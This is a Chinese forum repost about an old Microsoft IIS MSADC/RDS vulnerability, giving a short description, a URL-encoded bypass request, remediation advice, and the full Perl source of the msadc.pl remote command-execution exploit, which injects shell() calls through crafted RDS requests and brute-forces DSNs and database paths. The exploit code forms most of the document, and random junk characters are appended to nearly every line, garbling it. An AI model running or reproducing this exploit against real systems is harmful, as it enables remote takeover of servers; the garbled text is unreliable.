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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) O~sv^  
\Ld/'Z;w  
涉及程序: wQ]!Y ?I  
Microsoft NT server v[~e=^IIsl  
xF![3~~3[  
描述: \Jq$!foYx  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 lM oi5q  
"|ZC2Zu<  
详细: 53=5xE= `D  
如果你没有时间读详细内容的话,就删除: /Z`("X?_Kf  
c:\Program Files\Common Files\System\Msadc\msadcs.dll X!#rw= Q  
有关的安全问题就没有了。 ^oaFnzJdf  
YL*yiZ9  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 TN!8J=sx.  
B'<k*9=Nv8  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 GIG\bQSv2  
关于利用ODBC远程漏洞的描述,请参看: |&!04~s;E  
]'+PJdA  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm QCjC|T9  
Xo^P=uf%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 0* 7N=  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2UqLV^ZY  
www#.D%'U  
这里不再论述。 tgeX~.  
G?Fqm@J{XT  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: .&Tcds  
wNQhz.>y  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset C(/{53G(  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! b/^i  
4R<bfZ43  
Z|l/6L8  
#将下面这段保存为txt文件,然后: "perl -x 文件名" , gYbi-E  
SbrKNADH%  
#!perl l6kqP  
# x$p_mWC  
# MSADC/RDS 'usage' (aka exploit) script ~\ uI&S5  
# {k:W?`  
# by rain.forest.puppy ,dyCuH!B  
# ~%.<rc0  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me *SP@`)\D  
# beta test and find errors! xhq-$"B  
VH*4fcT'D  
use Socket; use Getopt::Std; {c|{okQ;Q  
getopts("e:vd:h:XR", \%args); Wycood*  
k+nfW]UNF  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 3y9R1/!  
M9*#8>  
if (!defined $args{h} && !defined $args{R}) { u( kacQ7  
print qq~ ,\".|m1o.  
Usage: msadc.pl -h <host> { -d <delay> -X -v } <4{Jm8zJ  
-h <host> = host you want to scan (ip or domain) c}$C=s5 h}  
-d <seconds> = delay between calls, default 1 second ]x12_+  
-X = dump Index Server path table, if available ^*-6PV#Z  
-v = verbose <r`^iR)%  
-e = external dictionary file for step 5 6$.I>8n  
v%|S)^c?:  
Or a -R will resume a command session 3$TU2-x;g  
+Y|1 7 n  
~; exit;} =eHoJq  
JI5%fU%O#n  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; _/\U  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 4Y.o RB  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Q)lN7oD  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); r9\7I7z  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} +xL*`fn  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 78u9> H  
:"im2J  
if (!defined $args{R}){ $ret = &has_msadc; $F#eD 0|  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} X`s6lV%\  
LtK= nK  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !XtZI3Xu  
. "cmd /c "; LA9'HC(5  
$in=<STDIN>; chomp $in; Cu\6VnW_6  
$command="cmd /c " . $in ; g]mR;T3  
f6$$e+  
if (defined $args{R}) {&load; exit;} :svKE.7{  
4S 7#B  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ]iq2_{q  
&try_btcustmr; J? 4E Hl  
z&Kh$ $)[  
print "\nStep 2: Trying to make our own DSN..."; 6o cTQ}=  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; S}}L& _  
Acl?w }Y  
print "\nStep 3: Trying known DSNs..."; L8{4>,  
&known_dsn; FPC^-mD  
UzKB"Q  
print "\nStep 4: Trying known .mdbs..."; oQ{ X2\  
&known_mdb; =cwdl7N&I  
tupAU$h?!  
if (defined $args{e}){ k;~*8i=%,\  
print "\nStep 5: Trying dictionary of DSN names..."; 0Z&ua  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } VEG p!~D  
v~AD7k2{8  
print "Sorry Charley...maybe next time?\n"; h2_A'  
exit; ZP(T=Q  
}xb?C""q^q  
############################################################################## 14S_HwX  
&^hLFd7j/  
sub sendraw { # ripped and modded from whisker NxGSs_7  
sleep($delay); # it's a DoS on the server! At least on mine... `#c36  
my ($pstr)=@_; gnWEsA\!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \<kQ::o1y  
die("Socket problems\n"); u$Ty|NBjn  
if(connect(S,pack "SnA4x8",2,80,$target)){ wN2D{Jj  
select(S); $|=1; Dwa.ZY}-  
print $pstr; my @in=<S>; `7$Sga6M  
select(STDOUT); close(S); "wj~KbT}&  
return @in; l\"wdS}  
} else { die("Can't connect...\n"); }} /1z3Q_M  
gaC [%M  
############################################################################## :7L[v9'  
XQI!G_\+C  
sub make_header { # make the HTTP request =EQaZ8k  
my $msadc=<<EOT &j!q9F  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 DPBWw[  
User-Agent: ACTIVEDATA VxqoE]Dh  
Host: $ip D^<5gRK?  
Content-Length: $clen du>d?  
Connection: Keep-Alive ]r@CmwC  
s#4Q?<65u  
ADCClientVersion:01.06 ~@%#eg  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 N@3&e;y  
[+(fN  
--!ADM!ROX!YOUR!WORLD! ewOe A|  
Content-Type: application/x-varg _M)J{ {?:  
Content-Length: $reqlen xv 9 G%  
WJBwo%J  
EOT 5]F4.sa  
; $msadc=~s/\n/\r\n/g; DP08$Iq  
return $msadc;} Z,:}H6Mj9  
q!whWA  
############################################################################## E, ;'n  
VmP5`):?b  
sub make_req { # make the RDS request / 0y5/  
my ($switch, $p1, $p2)=@_; _qU;`Q  
my $req=""; my $t1, $t2, $query, $dsn; V\P .uOI  
miEf<<L#z  
if ($switch==1){ # this is the btcustmr.mdb query >d<tcaB  
$query="Select * from Customers where City=" . make_shell(); ds:&{~7L<T  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +1>\o|RF  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !HSX:qAP$  
:~LOw}N!aQ  
elsif ($switch==2){ # this is general make table query TSKR~3D#  
$query="create table AZZ (B int, C varchar(10))"; %Zi}sm1t  
$dsn="$p1";} #|;;>YnZ   
#/o1D^  
elsif ($switch==3){ # this is general exploit table query 9YVr9BM'K  
$query="select * from AZZ where C=" . make_shell(); (Z#j^}G_l  
$dsn="$p1";} a~A"uLBR  
Z1sRLkR^  
elsif ($switch==4){ # attempt to hork file info from index server oG' 'my#3  
$query="select path from scope()"; gjc[\"0a5h  
$dsn="Provider=MSIDXS;";} mExJ--}  
R0bWI`$Z  
elsif ($switch==5){ # bad query 91:TE8?Z  
$query="select"; nAk;a|Q  
$dsn="$p1";} Mk|*=#e;  
=e|  
$t1= make_unicode($query); eDL0Vw  
$t2= make_unicode($dsn); s,]z6L0  
$req = "\x02\x00\x03\x00"; O+PRP"$g"  
$req.= "\x08\x00" . pack ("S1", length($t1)); wY_! s Qo  
$req.= "\x00\x00" . $t1 ; FcmL 4^s.`  
$req.= "\x08\x00" . pack ("S1", length($t2)); h45RwQ5Z  
$req.= "\x00\x00" . $t2 ; !Tu4V\^~A  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; b*dEX%H8sf  
return $req;} O^<\]_l  
({9P, D~2  
############################################################################## _v +At;Y  
%lqrq<Xn  
sub make_shell { # this makes the shell() statement [J+]1hCZ|  
return "'|shell(\"$command\")|'";} L; 'C5#GN  
}(v <f*7=n  
############################################################################## R\:t 73  
apd"p{  
sub make_unicode { # quick little function to convert to unicode `fUP q ;  
my ($in)=@_; my $out; (qg~l@rf  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %\?Gzc_  
return $out;} pb}4{]sI  
P(Z\y^S  
############################################################################## 0]MI*s>&  
~=9]M.$  
sub rdo_success { # checks for RDO return success (this is kludge) HFTDea+#  
my (@in) = @_; my $base=content_start(@in); G L8 N!,  
if($in[$base]=~/multipart\/mixed/){ _Rey~]iJJ8  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} of>}fJ_p  
return 0;} *[0)]|r  
u,),kj<  
############################################################################## uW^W/S%'  
}I ^e:,{  
sub make_dsn { # this makes a DSN for us o!}/& '(  
my @drives=("c","d","e","f"); %LBT:Aw  
print "\nMaking DSN: "; w"?E=RS  
foreach $drive (@drives) { Eumdv#Qg  
print "$drive: "; ^9xsbv B0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ]WZi +  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" kJ:zMVN  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); hP26Bb1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; `%Uz0hF  
return 0 if $2 eq "404"; # not found/doesn't exist s&~.";b  
if($2 eq "200") { ybgAyJ{J<  
foreach $line (@results) { u@$pOLI  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 70{fl 4J5  
} return 0;} } P/ x@N  
P'q . _U  
############################################################################## 1PdxoRa4=  
=OU]<%  
sub verify_exists { NJTC+`Hm  
my ($page)=@_; B#9T6|2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6N]V.;0_5  
return $results[0];} sKuPV  
4E.K6=k|=a  
############################################################################## \~`qE<Q/  
 gC}D0l[  
sub try_btcustmr { RXU#.=xvy  
my @drives=("c","d","e","f"); ."\&;:ZNv  
my @dirs=("winnt","winnt35","winnt351","win","windows"); k7ODQ(*v  
Pw_[{LL  
foreach $dir (@dirs) { /]*#+;;%  
print "$dir -> "; # fun status so you can see progress t?R=a-ZI  
foreach $drive (@drives) { /o=,\kM  
print "$drive: "; # ditto 95CCje{o _  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; +: oD?h  
$reqlenlen=length( "$reqlen" ); 8{Id+Q>Vo,  
$clen= 206 + $reqlenlen + $reqlen; 1GL@t?S  
:g[G&Ds8  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); CF k^(V"  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} #Zy-X_r  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} >f*[U/{ K  
4?a!6  
############################################################################## C4ut!I #  
'of5v6:8  
sub odbc_error { (W l5F  
my (@in)=@_; my $base; H21\6 GY  
my $base = content_start(@in); j!H\hj/]  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this =7c1l77z  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~CB6+t>  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2W=( {e)$  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; = ?hx+-'  
return $in[$base+4].$in[$base+5].$in[$base+6];} (]mh}=:KDg  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Ur]~>-Z  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . g(0 |p6R  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} &)p/cOiV  
$I7/FZP  
############################################################################## hC.7Z]  
r4~Bn7j2  
sub verbose { L:y} L  
my ($in)=@_; G'<J8;B* t  
return if !$verbose; <4W"ne28  
print STDOUT "\n$in\n";} '`Smg3T!~S  
L/w9dk*uv  
############################################################################## !(hP{k ^g  
F%Lniv/N  
sub save { 6SMGXy*]^  
my ($p1, $p2, $p3, $p4)=@_; [Pdm1]":(  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; $+<X 1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; .d5|Fs~B  
close OUT;} gkuI!=  
.6[xX?i^T  
############################################################################## h@72eav3+  
0C}7=_?  
sub load { 'A,&9E{%1  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .e2u)YqA  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); *_$%Tv.]  
@p=<IN>; close(IN); Etj*3/n|  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); JBa=R^k  
$target= inet_aton($ip) || die("inet_aton problems"); ' %OQd?MhL  
print "Resuming to $ip ..."; vZC2F  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; sb_>D`>  
if($p[1]==1) { 0K, *FdA  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ~fs{Ff'  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; K$Y!d"D  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); mqk~Pno|<  
if (rdo_success(@results)){print "Success!\n";} FpfOxF6A3  
else { print "failed\n"; verbose(odbc_error(@results));}} 2"nd(+ QH  
elsif ($p[1]==3){ ]}F_nc2L  
if(run_query("$p[3]")){ :gb7Py'C  
print "Success!\n";} else { print "failed\n"; }} -) $$4<L  
elsif ($p[1]==4){ K(Otgp+zb  
if(run_query($drvst . "$p[3]")){ <!&nyuSz  
print "Success!\n"; } else { print "failed\n"; }} G3 #c  
exit;} IQdiVj  
&^1DNpUZ  
############################################################################## 0<Px 2/  
VbK| VON[  
sub create_table { ? YX2CJ6N  
my ($in)=@_; B4GgR,P@S  
$reqlen=length( make_req(2,$in,"") ) - 28; w*Sl  
$reqlenlen=length( "$reqlen" ); %|o4 U0c  
$clen= 206 + $reqlenlen + $reqlen; of8/~VO  
my @results=sendraw(make_header() . make_req(2,$in,"")); s9qr;}U.`  
return 1 if rdo_success(@results); hp,bfcM  
my $temp= odbc_error(@results); verbose($temp); zXvAW7  
return 1 if $temp=~/Table 'AZZ' already exists/; . 5|wy<  
return 0;} {Rjj  
W:b8m Xx  
############################################################################## c5<M=$  
!iCY!:  
sub known_dsn { ` *8p T  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 28LjQ!  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 1Xt% O86  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :^1 Xfc"  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }:<`L\8q\  
l2vIKc  
foreach $dSn (@dsns) { |T\`wcP`q  
print "."; @/FE!6 |O  
next if (!is_access("DSN=$dSn")); .<%2ON_  
if(create_table("DSN=$dSn")){ 'APtY;x^{  
print "$dSn successful\n"; R?MRRq  
if(run_query("DSN=$dSn")){ h\| ~Q.kG  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .< 7M4Z  
print "Something's borked. Use verbose next time\n";}}} print "\n";} -< D7  
B3|h$aKC  
############################################################################## ntR@[)K  
fy]z<SPhVJ  
sub is_access { U4)x"s[CP  
my ($in)=@_; B_R J;.oH  
$reqlen=length( make_req(5,$in,"") ) - 28; KmS$CFsGL  
$reqlenlen=length( "$reqlen" ); fy9mS  
$clen= 206 + $reqlenlen + $reqlen; ;e Iqxe>  
my @results=sendraw(make_header() . make_req(5,$in,"")); cj K\(b3  
my $temp= odbc_error(@results); &CBW>*B  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Q^13KWvuV  
return 0;} a7$-gW"Z(,  
,w-=8>5lrj  
############################################################################## }_Y&kaM  
= VIU  
sub run_query { Ao?y2 [sE  
my ($in)=@_; XBx&&  
$reqlen=length( make_req(3,$in,"") ) - 28; cdd6*+E  
$reqlenlen=length( "$reqlen" ); Rhi`4wo0$  
$clen= 206 + $reqlenlen + $reqlen; hc7"0mVd{  
my @results=sendraw(make_header() . make_req(3,$in,"")); Ln-UN$2~F  
return 1 if rdo_success(@results); CE,0@%6F*  
my $temp= odbc_error(@results); verbose($temp); $-^ ;Jl  
return 0;} [A jY ~  
OVq(ulwi+  
############################################################################## pW4O[v`  
QC\r|RXW  
sub known_mdb { 3R|Ub G`  
my @drives=("c","d","e","f","g"); zX]4DLl,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S?Y%}  
my $dir, $drive, $mdb; vw~=z6Ka  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?uAq goCl  
,"e n7  
# this is sparse, because I don't know of many 'kuLkM,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 1&Z#$iD  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ZuLW%z.  
"\\system32\\certmdb.mdb", 2^aXXPC  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% wXR7Ifrv  
$I0&I[_LzK  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", _ASyGmO{  
"\\cfusion\\cfapps\\forums\\forums_.mdb", "!S7D >2y#  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  E\5Cf2Ox  
"\\cfusion\\cfapps\\security\\realm_.mdb", O'rz  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", U{C& R&z  
"\\cfusion\\database\\cfexamples.mdb", L l$,"}0T  
"\\cfusion\\database\\cfsnippets.mdb", V$Zl]f$S  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 2#81oz&K  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", `G'Z,P-a  
"\\cfusion\\brighttiger\\database\\cleam.mdb", aG&t gD{  
"\\cfusion\\database\\smpolicy.mdb", mI> =S  
"\\cfusion\\database\cypress.mdb", zI7iZ"2a  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 4k_y;$4WN  
"\\website\\cgi-win\\dbsample.mdb", vqhu%ZyP  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ()MUyW"S#`  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" bHRRgR`,  
); #these are just k0bDEz.X  
foreach $drive (@drives) { }CQ)W1mO"  
foreach $dir (@dirs){ uF\ ;m.  
foreach $mdb (@sysmdbs) { ]5+<Rqdbg  
print "."; V5rW_X:]8  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ bG/[mZpRT  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; o{OY1 ;=6  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ "bA8NQIP  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (3N;-   
} else { print "Something's borked. Use verbose next time\n"; }}}}} v4VP7h6uD)  
cm`x;[e6l  
foreach $drive (@drives) {  K2D, *w  
foreach $mdb (@mdbs) { jd+ U+8r  
print "."; _$m1?DZ  
if(create_table($drv . $drive . $dir . $mdb)){ dPmNX-'7  
print "\n" . $drive . $dir . $mdb . " successful\n"; :y^%I xs{1  
if(run_query($drv . $drive . $dir . $mdb)){ }5=tUfh)]'  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 9Bi{X_.9  
} else { print "Something's borked. Use verbose next time\n"; }}}} A;7At!kK  
} hw 0u?++  
sJ7ZE-v]h  
############################################################################## F1NYpCR  
t&H3yV  
sub hork_idx { TSUT3'&~p  
print "\nAttempting to dump Index Server tables...\n"; JQH>{OB  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 7 |Q;E|=-Y  
$reqlen=length( make_req(4,"","") ) - 28; %<@x(q  
$reqlenlen=length( "$reqlen" ); /yFs$t >9  
$clen= 206 + $reqlenlen + $reqlen; s]2_d|Y  
my @results=sendraw2(make_header() . make_req(4,"","")); ,Kwtp)EX  
if (rdo_success(@results)){ jn+BH3e  
my $max=@results; my $c; my %d; Y(6p&I  
for($c=19; $c<$max; $c++){ /7uA f{  
$results[$c]=~s/\x00//g; siD/`T&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; X*e<g=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; A3Oe=rB  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $kd9^lj#[  
$d{"$1$2"}="";} 5'S~PQka*  
foreach $c (keys %d){ print "$c\n"; } .{4U]a;[  
} else {print "Index server doesn't seem to be installed.\n"; }} p #Y2v  
E @7);i5K  
############################################################################## =k:yBswi  
@h!nVf%fe  
sub dsn_dict { 5?XIp6%x  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Fm4)|5  
while(<IN>){ c&I"&oZ@&  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; agj_l}=gO  
next if (!is_access("DSN=$dSn")); 6 B*,Mu4A  
if(create_table("DSN=$dSn")){ eWWfUNBSLX  
print "$dSn successful\n"; G!.%Qqs  
if(run_query("DSN=$dSn")){  r0,XR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @w73U; 9\  
print "Something's borked. Use verbose next time\n";}}} H,0Io  
print "\n"; close(IN);} pd}Cg'}X  
/<Yz;\:Jy  
############################################################################## ;- 6   
9}jezLI/3  
sub sendraw2 { # ripped and modded from whisker ][1 iKT  
sleep($delay); # it's a DoS on the server! At least on mine... ]La~Bh6;m  
my ($pstr)=@_; =pd#U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9z kRwrQ  
die("Socket problems\n"); !dGSZ|YZ  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5aJd:36I  
print "Connected. Getting data"; #}S<O_  
open(OUT,">raw.out"); my @in; ]i Yp  
select(S); $|=1; print $pstr; q}cm"lO$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 0F9p'_C  
close(OUT); select(STDOUT); close(S); return @in; kV:T2}]|H  
} else { die("Can't connect...\n"); }} ^0HgE;4  
,*CPG$L  
############################################################################## pB'{_{8aA  
0bl8J5Ar5  
sub content_start { # this will take in the server headers 8 t`lRWJ  
my (@in)=@_; my $c; og`K! d~  
for ($c=1;$c<500;$c++) { C9^C4   
if($in[$c] =~/^\x0d\x0a/){ GUC.t7!  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } OCEhwB0  
else { return $c+1; }}} /@Ec[4^=!.  
return -1;} # it should never get here actually 2x!cblo  
1.I58(0~+  
############################################################################## #j4RX:T*[  
`Ha<t.v(  
sub funky { 'a G`qPB  
my (@in)=@_; my $error=odbc_error(@in); b=XXp`h~a  
if($error=~/ADO could not find the specified provider/){ zI"1.^Trn  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; I R~szUY6  
exit;} om2)Cd9~7  
if($error=~/A Handler is required/){ ZKt`>KZ  
print "\nServer has custom handler filters (they most likely are patched)\n"; *K;s*-|U  
exit;} -+y3~^EYm,  
if($error=~/specified Handler has denied Access/){ Xxr"Gc[  
print "\nServer has custom handler filters (they most likely are patched)\n"; RC!9@H5S#  
exit;}} 9QHV%%  
ZoR6f\2M  
############################################################################## wL[{6wL  
o^W.53yX  
sub has_msadc { 5xhYOwQBo  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); b<j*;n.  
my $base=content_start(@results); a+<{!+3v  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 88Vl1d&b  
return 0;} LwcAF g|  
|O{kv}Y Z  
######################## }aL&3[>>  
LerRrN}~  
Rw^X5ByJE  
解决方案: rPK1#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll -nqq;|%  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \lF-]vz*  
krRnE7\m  
拿出来充数 哈哈
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